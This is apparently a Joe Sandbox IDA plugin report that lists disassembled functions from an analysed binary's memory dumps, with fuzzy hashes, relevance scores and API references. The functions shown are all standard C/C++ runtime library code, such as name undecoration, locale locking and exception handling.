Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: (;C$4;C$8;C$D;C
API String ID: 834187326-2621726175
Opcode ID: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction ID: f3d8dfbdb108d26cc45b58cd48bb4d4715c2bd938a49195d549b32cb196e7f97
Opcode Fuzzy Hash: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction Fuzzy Hash: 8C21A130611248AFCB10DF1CD442EA97BB4EF0538AF05805DE846CB322E731E942CB54

Function 00A8A318 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00A8A437
___TypeMatch.LIBVCRUNTIME ref: 00A8A545
CallUnexpected.LIBVCRUNTIME ref: 00A8A6B2

Strings

csm, xrefs: 00A8A355
csm, xrefs: 00A8A46E
csm, xrefs: 00A8A3C2

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 518efa9e1946384e962e797b4188d42bfa84836cb85489671b229cc007f691b8
Instruction ID: 1370d22e4d63a4a21ef0800007007e3d7037d362a82cbca2d8d25413c4cf2003
Opcode Fuzzy Hash: 518efa9e1946384e962e797b4188d42bfa84836cb85489671b229cc007f691b8
Instruction Fuzzy Hash: F1B19D75800209DFEF19EFA4C9809AEB7B5FF24310F18416AE8156B216E735EE51CF92

Function 00ACD2DB Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 00ACD2E5
DName::DName.LIBCMT ref: 00ACD2F1

Part of subcall function 00ACAFBC: DName::doPchar.LIBCMT ref: 00ACAFED

UnDecorator::getScopedName.LIBCMT ref: 00ACD330
DName::operator+=.LIBCMT ref: 00ACD33A
DName::operator+=.LIBCMT ref: 00ACD349
DName::operator+=.LIBCMT ref: 00ACD355
DName::operator+=.LIBCMT ref: 00ACD362

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction ID: 0fadaf3a4f4a8b25c289c665a65b46ad088d0f39b8506a19af30a16a909bbc0c
Opcode Fuzzy Hash: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction Fuzzy Hash: 23118671900248AFCB19EF68C95AFAD7BB4AF10305F0640ADE0169B2D2EB70AA45C752

Function 00A9F0A8 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133cfdbed8993810877de6b30b05013de2fdb4b90579f59fb137ea48aad668da
Instruction ID: 124944807a82c92547385aa968b995b3ffe9fbec5d593b4743f7e646df24d7eb
Opcode Fuzzy Hash: 133cfdbed8993810877de6b30b05013de2fdb4b90579f59fb137ea48aad668da
Instruction Fuzzy Hash: BAB1DF75B04245AFDF15DF99C880BAEBBF1AF89304F244269E415AB392CB749D42CB60

Function 00ACF2FB Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00ACF4EB

Part of subcall function 00ACB2BC: DName::doPchar.LIBCMT ref: 00ACB2E5

DName::DName.LIBCMT ref: 00ACF57B
DName::operator+.LIBCMT ref: 00ACF582
DName::DName.LIBCMT ref: 00ACF5A5
DName::operator+.LIBCMT ref: 00ACF5AC
DName::operator+=.LIBCMT ref: 00ACF5B8
DName::operator=.LIBCMT ref: 00ACF5DF
DName::operator+=.LIBCMT ref: 00ACF5F1
DName::operator=.LIBCMT ref: 00ACF605
UnDecorator::getPtrRefType.LIBCMT ref: 00ACF61A
operator+.LIBCMT ref: 00ACF62C

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction ID: edab56935e293a7c7a7191c1148d398efc18243e51490f749a5be924276fb1ab
Opcode Fuzzy Hash: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction Fuzzy Hash: 71213876A0010E9ECF18EFBCCA49FBDBBB69B04301F16417EE711E6645DA319E018A50

Function 00ACF30F Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00ACF4EB

Part of subcall function 00ACB2BC: DName::doPchar.LIBCMT ref: 00ACB2E5

DName::DName.LIBCMT ref: 00ACF57B
DName::operator+.LIBCMT ref: 00ACF582
DName::DName.LIBCMT ref: 00ACF5A5
DName::operator+.LIBCMT ref: 00ACF5AC
DName::operator+=.LIBCMT ref: 00ACF5B8
DName::operator=.LIBCMT ref: 00ACF5DF
DName::operator+=.LIBCMT ref: 00ACF5F1
DName::operator=.LIBCMT ref: 00ACF605
UnDecorator::getPtrRefType.LIBCMT ref: 00ACF61A
operator+.LIBCMT ref: 00ACF62C

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction ID: edc7a83d6d4d6a663a7ab9ea7ff1c3c7a37df56b1e5295f0b738a2722abafb42
Opcode Fuzzy Hash: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction Fuzzy Hash: 31214A76A0010E9ECF18EFBCCA49FBDBBB6AB04301F16417EE711E6645DB319B018A50

Function 00ACF305 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00ACF4EB

Part of subcall function 00ACB2BC: DName::doPchar.LIBCMT ref: 00ACB2E5

DName::DName.LIBCMT ref: 00ACF57B
DName::operator+.LIBCMT ref: 00ACF582
DName::DName.LIBCMT ref: 00ACF5A5
DName::operator+.LIBCMT ref: 00ACF5AC
DName::operator+=.LIBCMT ref: 00ACF5B8
DName::operator=.LIBCMT ref: 00ACF5DF
DName::operator+=.LIBCMT ref: 00ACF5F1
DName::operator=.LIBCMT ref: 00ACF605
UnDecorator::getPtrRefType.LIBCMT ref: 00ACF61A
operator+.LIBCMT ref: 00ACF62C

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction ID: 798b0cde4687f1fca49f72df9503bb2b7146bbbd988dba8b2d2a07c6973ca3db
Opcode Fuzzy Hash: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction Fuzzy Hash: 6A213876A0010E9ECF18EFBCCA49FBDBBB6AB04301F16417EE711E6645DA319A018A50

Function 00ACF319 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00ACF4EB

Part of subcall function 00ACB2BC: DName::doPchar.LIBCMT ref: 00ACB2E5

DName::DName.LIBCMT ref: 00ACF57B
DName::operator+.LIBCMT ref: 00ACF582
DName::DName.LIBCMT ref: 00ACF5A5
DName::operator+.LIBCMT ref: 00ACF5AC
DName::operator+=.LIBCMT ref: 00ACF5B8
DName::operator=.LIBCMT ref: 00ACF5DF
DName::operator+=.LIBCMT ref: 00ACF5F1
DName::operator=.LIBCMT ref: 00ACF605
UnDecorator::getPtrRefType.LIBCMT ref: 00ACF61A
operator+.LIBCMT ref: 00ACF62C

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction ID: 513e61674977189824bb927e451fb7f39c6475df2fb18eb3509698bc034e0e48
Opcode Fuzzy Hash: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction Fuzzy Hash: 6B213876A0010E9ECF18EFBCDA49FBDBBB6AB04301F16417EE711E6645DA359A018A50

Function 00A850F8 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00A850FF
std::_Lockit::_Lockit.LIBCPMT ref: 00A85109
int.LIBCPMT ref: 00A85120

Part of subcall function 00A816B4: std::_Lockit::_Lockit.LIBCPMT ref: 00A816C5
Part of subcall function 00A816B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00A816DF

std::_Facet_Register.LIBCPMT ref: 00A8515A
std::_Lockit::~_Lockit.LIBCPMT ref: 00A8517A
Concurrency::cancel_current_task.LIBCPMT ref: 00A85187

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: eed3242174d9ec817c80ca0da60b463028695fd2ab85759f230aeedd556adfba
Instruction ID: 2c4f08739c689dac21ab6320f549ecf32e0c8e4bdaaec465398bbe1d339a184a
Opcode Fuzzy Hash: eed3242174d9ec817c80ca0da60b463028695fd2ab85759f230aeedd556adfba
Instruction Fuzzy Hash: A311BE769006159BCB15FBA8CA057BEB7B8AF84320F24050DE801AB691EF749E01CB90

Function 00A89FAA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A89FA1,00A886C8,00A8784F), ref: 00A89FB8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A89FC6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A89FDF
SetLastError.KERNEL32(00000000,00A89FA1,00A886C8,00A8784F), ref: 00A8A031

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 01104692514f57e2fee573cc042f5ab631c167669ce5c7f018f4243b53d95c29
Instruction ID: b5ae0a33dc1c1fd68469877f35ca77c4a7fe75ee18811c9e07e771c6771f4c53
Opcode Fuzzy Hash: 01104692514f57e2fee573cc042f5ab631c167669ce5c7f018f4243b53d95c29
Instruction Fuzzy Hash: 4A01F73211D3129EF769B7F87D8AB6B2A65EB23775330032BF110891E1EF514C129361

Function 00AD3FAB Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00AD3F02

Part of subcall function 00AC9D30: __mtinitlocknum.LIBCMT ref: 00AC9D46
Part of subcall function 00AC9D30: __amsg_exit.LIBCMT ref: 00AC9D52

_free.LIBCMT ref: 00AD3F29
__lock.LIBCMT ref: 00AD3F42
___removelocaleref.LIBCMT ref: 00AD3F51
___freetlocinfo.LIBCMT ref: 00AD3F6A
_free.LIBCMT ref: 00AD3F87

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: __lock_free$___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 1181530324-0
Opcode ID: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction ID: 0e8abe3b0451bd21e6bc7cd4b92d9ca6c32d097468fcb3b98faa1af83194b905
Opcode Fuzzy Hash: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction Fuzzy Hash: B9115172905708E6DF20AF68D509B6E73B4AF08720F20451EF456EB3D5CB75DA80C656

Function 00A90CA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,196B86F4,?,?,00000000,00AA1D08,000000FF,?,00A90C30,00A90D60,?,00A90C04,00000000), ref: 00A90CD5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A90CE7
FreeLibrary.KERNEL32(00000000,?,?,00000000,00AA1D08,000000FF,?,00A90C30,00A90D60,?,00A90C04,00000000), ref: 00A90D09

Strings

mscoree.dll, xrefs: 00A90CCE
CorExitProcess, xrefs: 00A90CDF

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 34bdbd580eb4c4c31e11b207d32aa3e03f09412dcb32eb2ea74637ff5bf37f36
Instruction ID: 3755e55831f987cc37facac3cf2da58f9a5c8350a6ce322d01c3107c516ca9d9
Opcode Fuzzy Hash: 34bdbd580eb4c4c31e11b207d32aa3e03f09412dcb32eb2ea74637ff5bf37f36
Instruction Fuzzy Hash: 63016232A0061AFFDB11CB94DC05FAEBBB8FB05B55F004525F811A26D0DB74A901CB90

Function 00AC0BA8 Relevance: 7.8, APIs: 5, Instructions: 297COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AC0C2F
_memset.LIBCMT ref: 00AC0C40
_memset.LIBCMT ref: 00AC0D08
_memset.LIBCMT ref: 00AC0D74
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AC0E96

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: _memset$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2583058844-0
Opcode ID: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction ID: 802497487b05e1a709a4d8479de72ecf8885fc1c185aae7f6534ecd02708c594
Opcode Fuzzy Hash: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction Fuzzy Hash: 6AC107B2D0021AABCF21EB60DD49EEE77BDAF08305F0144A5FA09A3151DB359F858F55

Function 00AD0B17 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 00AD0B2B
__init_pointers.LIBCMT ref: 00AD0BDD
__calloc_crt.LIBCMT ref: 00AD0C4B
__initptd.LIBCMT ref: 00AD0C70

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__initptd__mtterm
String ID:
API String ID: 3132042578-0
Opcode ID: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction ID: f4efb52ec51ee8b9ad21af0c237078981718153b3dc9bb3aee59dbe847732643
Opcode Fuzzy Hash: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction Fuzzy Hash: 26314831D053509ACB62AF79BD08B4A3BA4EF44722F10063BE411D32B2EBB5D840DF48

Function 00ACBA22 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 00ACBA6B
DName::operator+.LIBCMT ref: 00ACBA72
DName::DName.LIBCMT ref: 00ACBA94
DName::operator+.LIBCMT ref: 00ACBA9B
DName::operator+.LIBCMT ref: 00ACBAA2

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction ID: 79d45e6bc8d32e238cda1bd447d974b8cc9ed2b83a60c188b1b17630bdb4eaed
Opcode Fuzzy Hash: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction Fuzzy Hash: 5101C030A10208AFCF04EBA4D853FEDBBB4EF48748F01405CF501AB292EB71EA458B94

Function 00A8417D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A84189
int.LIBCPMT ref: 00A8419C

Part of subcall function 00A816B4: std::_Lockit::_Lockit.LIBCPMT ref: 00A816C5
Part of subcall function 00A816B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00A816DF

std::_Facet_Register.LIBCPMT ref: 00A841CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00A841E5
Concurrency::cancel_current_task.LIBCPMT ref: 00A841F0

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: cf144cbb6412a5ab22081d2b2cfefbd03491af34888722e5ac941403578172b8
Instruction ID: 6e46aad83db29e29894b69e1616b5ae7b3f2549e92c5be09d7c9b4b8ea387540
Opcode Fuzzy Hash: cf144cbb6412a5ab22081d2b2cfefbd03491af34888722e5ac941403578172b8
Instruction Fuzzy Hash: C501D676500115ABCB29FB64DD098AE7B6CEF98760B200658F915AB291FF30DE42C7C0

Function 00A83AF8 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

